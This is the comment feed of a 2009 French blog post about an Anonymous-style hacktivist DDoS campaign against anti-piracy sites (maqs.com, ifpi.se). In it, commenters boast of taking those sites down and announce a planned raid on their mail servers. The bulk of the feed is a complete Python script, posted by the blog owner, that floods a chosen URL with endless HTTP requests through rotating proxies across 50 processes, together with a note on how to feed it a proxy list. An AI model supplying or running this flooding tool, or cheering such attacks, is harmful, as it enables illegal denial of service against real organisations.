<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Commentaires sur : Opération Baylout : les Hacktivistes rentrent dans la danse</title>
	<atom:link href="http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/feed/" rel="self" type="application/rss+xml" />
	<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/</link>
	<description>Sous les octets, la plage ...</description>
	<lastBuildDate>Sun, 29 Jan 2012 02:06:10 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
	<item>
		<title>Par : Circuit Breaker</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-103577</link>
		<dc:creator>Circuit Breaker</dc:creator>
		<pubDate>Fri, 28 Jan 2011 06:46:42 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-103577</guid>
		<description>~*` I am very thankful to this topic because it really gives useful information &quot;~:</description>
		<content:encoded><![CDATA[<p>~*` I am very thankful to this topic because it really gives useful information &laquo;&nbsp;~:</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : crashdump</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-16087</link>
		<dc:creator>crashdump</dc:creator>
		<pubDate>Mon, 27 Apr 2009 06:10:50 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-16087</guid>
		<description>Précision. Pour le petit script python, il vous faudra lui donner a manger une liste de proxy à jours... (nommez la:proxies.txt et placez la dans le répertoire courant).</description>
		<content:encoded><![CDATA[<p>Précision. Pour le petit script python, il vous faudra lui donner a manger une liste de proxy à jours&#8230; (nommez la:proxies.txt et placez la dans le répertoire courant).</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : bluetouff</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-16037</link>
		<dc:creator>bluetouff</dc:creator>
		<pubDate>Sun, 26 Apr 2009 22:37:08 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-16037</guid>
		<description>Anonyme &gt; effectivement actuellement c&#039;est un déluge de plus 30 000 connexions qui paralysent ces sites, un raid est prévu dans 10 heures et 36 minutes sur le serveur de mail de maqs.com et de ifpi.se</description>
		<content:encoded><![CDATA[<p>Anonyme > effectivement actuellement c&#8217;est un déluge de plus 30 000 connexions qui paralysent ces sites, un raid est prévu dans 10 heures et 36 minutes sur le serveur de mail de maqs.com et de ifpi.se</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Anon</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-16024</link>
		<dc:creator>Anon</dc:creator>
		<pubDate>Sun, 26 Apr 2009 21:59:13 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-16024</guid>
		<description>http://anonymous.pastebay.com/12000

Le 17 avril - Journée internationale contre la tyrannie du copyright.</description>
		<content:encoded><![CDATA[<p><a href="http://anonymous.pastebay.com/12000" rel="nofollow">http://anonymous.pastebay.com/12000</a></p>
<p>Le 17 avril &#8211; Journée internationale contre la tyrannie du copyright.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Anonyme</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-15965</link>
		<dc:creator>Anonyme</dc:creator>
		<pubDate>Sun, 26 Apr 2009 15:16:33 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-15965</guid>
		<description>Après www.maqs.com qui est toujours hors service, www.ifpi.se a été descendu il y&#039;a un peu plus de 3 heures.
Ce n&#039;est pas fini.</description>
		<content:encoded><![CDATA[<p>Après <a href="http://www.maqs.com" rel="nofollow">http://www.maqs.com</a> qui est toujours hors service, <a href="http://www.ifpi.se" rel="nofollow">http://www.ifpi.se</a> a été descendu il y&#8217;a un peu plus de 3 heures.<br />
Ce n&#8217;est pas fini.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Yenos</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-15583</link>
		<dc:creator>Yenos</dc:creator>
		<pubDate>Thu, 23 Apr 2009 20:41:12 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-15583</guid>
		<description>tuto en français de logiciels fournis par PartyVan, explication du DOS, DDOS, SYN Flood ainsi que leur parade : http://www.sicw-news.com/2009/04/soutenir-pirate-bay-participez-une.html</description>
		<content:encoded><![CDATA[<p>tuto en français de logiciels fournis par PartyVan, explication du DOS, DDOS, SYN Flood ainsi que leur parade : <a href="http://www.sicw-news.com/2009/04/soutenir-pirate-bay-participez-une.html" rel="nofollow">http://www.sicw-news.com/2009/04/soutenir-pirate-bay-participez-une.html</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : El Sinsé</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-15573</link>
		<dc:creator>El Sinsé</dc:creator>
		<pubDate>Thu, 23 Apr 2009 19:10:02 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-15573</guid>
		<description>Great !!! And now, the next please ...

Cré-@ctivement votre</description>
		<content:encoded><![CDATA[<p>Great !!! And now, the next please &#8230;</p>
<p>Cré-@ctivement votre</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Achille</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-15518</link>
		<dc:creator>Achille</dc:creator>
		<pubDate>Thu, 23 Apr 2009 08:49:36 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-15518</guid>
		<description>Mmmmm .. I&#039;m lovin&#039; it !</description>
		<content:encoded><![CDATA[<p>Mmmmm .. I&#8217;m lovin&#8217; it !</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Hacktivisme: Operation Baylout &#124; Jokester</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-15517</link>
		<dc:creator>Hacktivisme: Operation Baylout &#124; Jokester</dc:creator>
		<pubDate>Thu, 23 Apr 2009 08:48:04 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-15517</guid>
		<description>[...] nouvel obs Bluetouff Le site de Partyvan Stay in contact [...]</description>
		<content:encoded><![CDATA[<p>[...] nouvel obs Bluetouff Le site de Partyvan Stay in contact [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : bluetouff</title>
		<link>http://bluetouff.com/2009/04/21/operation-baylout-les-hacktivistes-rentrent-dans-la-danse/comment-page-1/#comment-15452</link>
		<dc:creator>bluetouff</dc:creator>
		<pubDate>Wed, 22 Apr 2009 23:53:26 +0000</pubDate>
		<guid isPermaLink="false">http://bluetouff.com/?p=1613#comment-15452</guid>
		<description>&lt;code&gt;
#!/usr/bin/env python
# -*- coding:Utf-8 -*-

#
#    Crashdump.fr - Adrien Pujol - For testing only...
#
#        thanks: Gawel, Bluetouff..
#

# Version .2 / 23 Avril 2009

# work with python 2.4/2.5 and multiprocessing.
# install multiprocessing with: #easy_install multiprocessing

import sys, socket, httplib, urllib2, time, multiprocessing, random

# Vars ###
PROCESSES = 50

# TimeOut
socket.setdefaulttimeout(600)

# Core ############################ DONT TOUCH #####################

# Compteur instances threads
global counter
counter = 0

# On active le debugging HTTP
httplib.HTTPConnection.debuglevel = 1

# Verification du passage des arguments ( url , referer )
if len(sys.argv)&lt;2:
    print &#039;Usage: python request.py url &lt;referer_url&gt;&#039;
    sys.exit(1)

# on attribue au variables
url=sys.argv[1]

# Verification du format des urls
if not url.startswith(&quot;http://&quot;):
    print &#039;Not a valid url&#039;
    sys.exit(1)
if len(sys.argv)==3:
    if sys.argv[2].startswith(&quot;http://&quot;):
        referer=sys.argv[2]
    else:
        print &#039;Not a valid referer&#039;
        sys.exit(1)
else:
    referer=&quot;&quot;
    
# Introduction...  
print &quot;Fetching url: &quot;+url

########## Fonction de connection au site via les proxys ##########
def fetchUrl(proxIp):
     result = None
     try:
         # On spÃ©cifie les Headers, pour pouvoir accepter tout type de connection.
         req = urllib2.Request(url, None)
         req.add_header(&#039;User-agent&#039;, &#039;Mozilla/5.5.(X11;.U;.Linux.2.4;.fr-FR;.0.8).Gecko/20010409&#039;)
         req.add_header(&#039;Accept&#039;,&#039;image/gif, image/jpeg, image/png, image/*, text/javascript, text/html, text/plain, text/xml, text/*, application/javascript, application/x-shockwave-flash, application/xml, application/xhtml+xml, application/*, */*&#039;)
         req.add_header(&#039;Cookie&#039;,&#039;X-MV-Referer=; X-Ref-Ok=1&#039;)
         req.add_header(&#039;Accept-Encoding&#039;,&#039;gzip,deflate,compress,identity&#039;)
         req.add_header(&#039;Keep-Alive&#039;,&#039;150&#039;)
         req.add_header(&#039;Connection&#039;,&#039;keep-alive&#039;)
         req.add_header(&#039;Pragma&#039;,&#039;no-cache&#039;)
         req.add_header(&#039;Cache-Control&#039;,&#039;no-cache&#039;)
         req.set_proxy(proxIp, &#039;http&#039;)
         handle = urllib2.urlopen(req)
         feeddata = handle.read()
     except (IOError, urllib2.HTTPError, urllib2.URLError), e:
         print multiprocessing.current_process().name, str(e), repr(e)
         return False, proxIp
     except KeyboardInterrupt, exc:
         pass
     else:
         print multiprocessing.current_process().name, &#039;fetched&#039;, len(feeddata)
         return True, proxIp

########## Callback ############
def cb(r):
    global counter
    print counter, r
    counter +=1

########## Main ##########
def main():
    # Ouverture de la liste: proxies.txt
    try:
        file = open(&#039;proxies.txt&#039;,&#039;r&#039;)
        proxylist = file.readlines()
    except IOError:
        print &#039;Error reading proxy list&#039;
        sys.exit(1)

    # Create Multiprocess pool
    print &#039;Creating pool with %d processes... &#039; % PROCESSES
    pool = multiprocessing.Pool(processes=PROCESSES)
    print

    # On attaque la liste de proxy. On les ajoutes un a un au pool.
    proxylist = list(set([p.strip() for p in proxylist if p.strip()]))
    try:
        while 1:
            proxies = random.sample(proxylist, PROCESSES)
            t = time.time()
            result = pool.map(fetchUrl, proxies)
            print [p for s, p in result if s], &#039;called in&#039;, time.time() - t, &#039;s&#039;
            for status, proxy in result:
                if not status and proxy in proxylist:
                    proxylist.remove(proxy)
                    print &#039;removing&#039;, proxy
        pool.close()
    except KeyboardInterrupt:
        print &#039;ctrl+c pressed ... bye.&#039;
	pool.terminate()
    pool.join()

if __name__ == &#039;__main__&#039;:
    main()


#
# End
#
&lt;/code&gt;</description>
		<content:encoded><![CDATA[<p><code><br />
#!/usr/bin/env python<br />
# -*- coding:Utf-8 -*-</p>
<p>#<br />
#    Crashdump.fr - Adrien Pujol - For testing only...<br />
#<br />
#        thanks: Gawel, Bluetouff..<br />
#</p>
<p># Version .2 / 23 Avril 2009</p>
<p># work with python 2.4/2.5 and multiprocessing.<br />
# install multiprocessing with: #easy_install multiprocessing</p>
<p>import sys, socket, httplib, urllib2, time, multiprocessing, random</p>
<p># Vars ###<br />
PROCESSES = 50</p>
<p># TimeOut<br />
socket.setdefaulttimeout(600)</p>
<p># Core ############################ DONT TOUCH #####################</p>
<p># Compteur instances threads<br />
global counter<br />
counter = 0</p>
<p># On active le debugging HTTP<br />
httplib.HTTPConnection.debuglevel = 1</p>
<p># Verification du passage des arguments ( url , referer )<br />
if len(sys.argv)&lt;2:<br />
    print 'Usage: python request.py url <referer_url>'<br />
    sys.exit(1)</p>
<p># on attribue au variables<br />
url=sys.argv[1]</p>
<p># Verification du format des urls<br />
if not url.startswith("http://"):<br />
    print 'Not a valid url'<br />
    sys.exit(1)<br />
if len(sys.argv)==3:<br />
    if sys.argv[2].startswith("http://"):<br />
        referer=sys.argv[2]<br />
    else:<br />
        print 'Not a valid referer'<br />
        sys.exit(1)<br />
else:<br />
    referer=""</p>
<p># Introduction...<br />
print "Fetching url: "+url</p>
<p>########## Fonction de connection au site via les proxys ##########<br />
def fetchUrl(proxIp):<br />
     result = None<br />
     try:<br />
         # On spÃ©cifie les Headers, pour pouvoir accepter tout type de connection.<br />
         req = urllib2.Request(url, None)<br />
         req.add_header('User-agent', 'Mozilla/5.5.(X11;.U;.Linux.2.4;.fr-FR;.0.8).Gecko/20010409')<br />
         req.add_header('Accept','image/gif, image/jpeg, image/png, image/*, text/javascript, text/html, text/plain, text/xml, text/*, application/javascript, application/x-shockwave-flash, application/xml, application/xhtml+xml, application/*, */*')<br />
         req.add_header('Cookie','X-MV-Referer=; X-Ref-Ok=1')<br />
         req.add_header('Accept-Encoding','gzip,deflate,compress,identity')<br />
         req.add_header('Keep-Alive','150')<br />
         req.add_header('Connection','keep-alive')<br />
         req.add_header('Pragma','no-cache')<br />
         req.add_header('Cache-Control','no-cache')<br />
         req.set_proxy(proxIp, 'http')<br />
         handle = urllib2.urlopen(req)<br />
         feeddata = handle.read()<br />
     except (IOError, urllib2.HTTPError, urllib2.URLError), e:<br />
         print multiprocessing.current_process().name, str(e), repr(e)<br />
         return False, proxIp<br />
     except KeyboardInterrupt, exc:<br />
         pass<br />
     else:<br />
         print multiprocessing.current_process().name, 'fetched', len(feeddata)<br />
         return True, proxIp</p>
<p>########## Callback ############<br />
def cb(r):<br />
    global counter<br />
    print counter, r<br />
    counter +=1</p>
<p>########## Main ##########<br />
def main():<br />
    # Ouverture de la liste: proxies.txt<br />
    try:<br />
        file = open('proxies.txt','r')<br />
        proxylist = file.readlines()<br />
    except IOError:<br />
        print 'Error reading proxy list'<br />
        sys.exit(1)</p>
<p>    # Create Multiprocess pool<br />
    print 'Creating pool with %d processes... ' % PROCESSES<br />
    pool = multiprocessing.Pool(processes=PROCESSES)<br />
    print</p>
<p>    # On attaque la liste de proxy. On les ajoutes un a un au pool.<br />
    proxylist = list(set([p.strip() for p in proxylist if p.strip()]))<br />
    try:<br />
        while 1:<br />
            proxies = random.sample(proxylist, PROCESSES)<br />
            t = time.time()<br />
            result = pool.map(fetchUrl, proxies)<br />
            print [p for s, p in result if s], 'called in', time.time() - t, 's'<br />
            for status, proxy in result:<br />
                if not status and proxy in proxylist:<br />
                    proxylist.remove(proxy)<br />
                    print 'removing', proxy<br />
        pool.close()<br />
    except KeyboardInterrupt:<br />
        print 'ctrl+c pressed ... bye.'<br />
	pool.terminate()<br />
    pool.join()</p>
<p>if __name__ == '__main__':<br />
    main()</p>
<p>#<br />
# End<br />
#<br />
</referer_url></code></p>
]]></content:encoded>
	</item>
</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.362 seconds -->

